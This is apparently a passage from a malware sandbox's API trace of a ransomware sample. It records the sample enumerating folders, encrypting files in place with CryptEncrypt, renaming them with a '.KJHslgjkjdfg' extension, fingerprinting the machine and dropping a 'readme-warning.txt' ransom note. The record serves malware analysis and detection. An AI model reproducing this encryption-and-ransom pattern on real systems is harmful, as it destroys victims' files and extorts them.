dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0154.121] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.121] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd7200, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd7200, lpOverlapped=0x0) returned 1 [0154.127] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd7200, dwBufLen=0xd7200 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd7200) returned 1 [0154.138] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.138] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd7200, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd7200, lpOverlapped=0x0) returned 1 [0154.140] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.140] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd72c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.140] SetEndOfFile (hFile=0xf0) returned 1 [0154.144] GetProcessHeap () returned 0x990000 [0154.144] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0154.144] GetProcessHeap () returned 0x990000 [0154.144] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0154.144] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.kjhslgjkjdfg")) returned 1 [0154.157] CloseHandle (hObject=0xf0) returned 1 [0154.157] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0154.157] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.157] GetProcessHeap () returned 0x990000 [0154.158] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0154.158] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0154.158] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0154.158] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0154.160] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0154.160] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.160] GetProcessHeap () returned 0x990000 [0154.160] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0154.160] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0154.160] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.160] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0154.161] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0154.161] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0154.161] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0154.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0154.161] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0154.161] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0154.161] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.161] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5b1, lpOverlapped=0x0) returned 1 [0154.161] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c0) returned 1 [0154.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.162] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5c0, lpOverlapped=0x0) returned 1 [0154.162] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.162] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.162] SetEndOfFile (hFile=0xf0) returned 1 [0154.165] GetProcessHeap () returned 0x990000 [0154.165] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0154.165] GetProcessHeap () returned 0x990000 [0154.165] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0154.165] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.kjhslgjkjdfg")) returned 1 [0154.172] CloseHandle (hObject=0xf0) returned 1 [0154.172] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0154.172] GetProcessHeap () returned 0x990000 [0154.172] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0154.172] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0154.172] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0154.172] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.172] GetProcessHeap () returned 0x990000 [0154.172] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0154.172] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0154.172] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0154.172] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.172] GetProcessHeap () returned 0x990000 [0154.172] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b78c0 [0154.172] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0154.173] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b78c0, pdwDataLen=0x29df0a8 | out: pbData=0x9b78c0, pdwDataLen=0x29df0a8) returned 1 [0154.173] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.173] GetProcessHeap () returned 0x990000 [0154.173] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0154.173] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0154.173] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0154.173] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.173] GetProcessHeap () returned 0x990000 [0154.173] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0154.173] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0154.173] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dec88 | out: pbData=0x9b1918, pdwDataLen=0x29dec88) returned 1 [0154.173] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.173] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0xf0) returned 0x0 [0154.173] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0154.173] RegCloseKey (hKey=0xf0) returned 0x0 [0154.173] GetProcessHeap () returned 0x990000 [0154.173] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0154.173] GetProcessHeap () returned 0x990000 [0154.173] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0154.173] GetProcessHeap () returned 0x990000 [0154.173] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0154.173] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0154.173] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dea5c | out: pbData=0x9b1918, pdwDataLen=0x29dea5c) returned 1 [0154.173] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.174] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0154.174] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0154.174] GetProcessHeap () returned 0x990000 [0154.174] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0154.174] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0154.174] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0154.174] GetProcessHeap () returned 0x990000 [0154.174] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7c88 [0154.174] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\readme-warning.txt") returned 90 [0154.174] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.175] WriteFile (in: hFile=0xf0, lpBuffer=0x9b7c88*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9b7c88*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0154.176] CloseHandle (hObject=0xf0) returned 1 [0154.176] GetProcessHeap () returned 0x990000 [0154.176] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0154.176] GetProcessHeap () returned 0x990000 [0154.176] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7c88 | out: hHeap=0x990000) returned 1 [0154.176] GetProcessHeap () returned 0x990000 [0154.176] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0154.176] GetProcessHeap () returned 0x990000 [0154.176] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0154.176] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0154.176] GetProcessHeap () returned 0x990000 [0154.176] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0154.176] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0154.176] GetProcessHeap () returned 0x990000 [0154.176] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa0) returned 0x9b2468 [0154.176] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0154.177] GetProcessHeap () returned 0x990000 [0154.177] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0154.177] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0154.177] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0154.177] GetProcessHeap () returned 0x990000 [0154.177] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a2) returned 0x9dc8a8 [0154.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.178] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x29df280 | out: lpFileSize=0x29df280*=21064532) returned 1 [0154.178] GetProcessHeap () returned 0x990000 [0154.178] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0154.178] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0154.178] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.178] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df26c*=0xc, lpOverlapped=0x0) returned 1 [0154.180] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df270 | out: phKey=0x29df270*=0x9b6628) returned 1 [0154.180] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.180] GetProcessHeap () returned 0x990000 [0154.180] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0154.180] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df250*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df250*=0x30) returned 1 [0154.180] CryptDestroyKey (hKey=0x9b6628) returned 1 [0154.180] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df26c*=0x30, lpOverlapped=0x0) returned 1 [0154.181] WriteFile (in: hFile=0xf0, lpBuffer=0x29df274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df274*, lpNumberOfBytesWritten=0x29df26c*=0x4, lpOverlapped=0x0) returned 1 [0154.181] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df26c*=0x10, lpOverlapped=0x0) returned 1 [0154.181] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df26c*=0x80, lpOverlapped=0x0) returned 1 [0154.181] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0154.181] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df26c*=0x8, lpOverlapped=0x0) returned 1 [0154.181] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df270 | out: phKey=0x29df270*=0x9b6628) returned 1 [0154.181] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.181] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0154.181] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0154.185] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0154.189] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.190] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0154.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.190] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0154.191] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0154.191] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0154.193] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0154.196] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.196] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0154.196] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.196] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0154.196] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13d6b60, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0154.196] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, 